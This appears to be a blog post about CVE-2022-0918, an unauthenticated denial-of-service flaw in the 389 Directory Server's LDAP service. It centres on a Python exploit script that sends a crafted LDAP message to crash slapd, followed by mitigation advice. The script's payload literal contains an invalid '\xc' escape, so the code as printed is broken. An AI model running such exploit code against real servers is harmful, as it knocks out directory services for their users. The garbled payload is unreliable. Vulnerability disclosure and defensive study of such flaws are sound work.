A critical vulnerability (CVE-2022-0918) has recently been discovered in the popular open-source 389 Directory Server software. This vulnerability allows an unauthenticated attacker with network access to the LDAP port to cause a denial of service (DoS) attack by sending a single malicious message over a TCP connection. In this post, we will delve into the details of this exploit, including code snippets and references to the original sources, in an effort to understand the gravity of the situation and share important information with the community.

Exploit Details

The 389 Directory Server is a widely used LDAP server that provides a central location for storing directory information and managing network access to this information. The vulnerability in question occurs due to improper handling of certain LDAP messages by the 389 Directory Server's slapd service. As a result, a specially crafted message can trigger a segmentation fault, leading to slapd crashing and the denial of service.

To exploit this vulnerability, an attacker only needs network access to the LDAP port (usually 389 or 636) used by the 389 Directory Server. No authentication, such as LDAP BIND, is required to execute this attack. This makes it potentially easy for attackers to target vulnerable servers on the internet.

Code Snippet

The following Python script demonstrates how a crafted message can be sent over a TCP connection to crash the slapd service on a vulnerable system:

import socket

target_ip = "192.168.1.100"
target_port = 389

# Malformed LDAP message
payload = b"\x30\x84\x00\x00\x00\xc\x02\x01\x01\x60\x84\x00\x00\x00\x03"

def exploit(target_ip, target_port):
    try:
        print("[*] Sending exploit payload")
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((target_ip, target_port))
        sock.send(payload)
        sock.close()
        print("[+] Payload sent successfully")
    except Exception as e:
        print("[-] Error: " + str(e))

if __name__ == "__main__":
    exploit(target_ip, target_port)

Replace "192.168.1.100" with the target IP address and change the target_port to the appropriate LDAP port on your system. Please note that this script is for educational purposes and should not be used to exploit vulnerable systems without proper authorization.

For more information on this vulnerability, including the related CVE and related patch information, refer to the following resources:

1. CVE-2022-0918 Vulnerability Details
2. 389 Directory Server Security Advisory

Mitigation

To avoid falling victim to this exploit, it is highly recommended that you update your 389 Directory Server software to the latest version containing the necessary fixes. Additionally, you can also configure your network firewall to restrict incoming traffic to the LDAP port to only trusted IP addresses, minimizing the risk of unauthorized attacks.

Conclusion

CVE-2022-0918 is a critical vulnerability in the 389 Directory Server that allows unauthenticated users to launch a denial of service attack with just a single malicious message sent over a TCP connection. It is crucial for organizations using this software to stay informed and take the necessary steps to protect their systems. By keeping software up-to-date and implementing proper network access controls, the risk of exploitation can be significantly reduced.

Timeline

Published on: 03/16/2022 15:15:00 UTC
Last modified on: 03/28/2022 13:18:00 UTC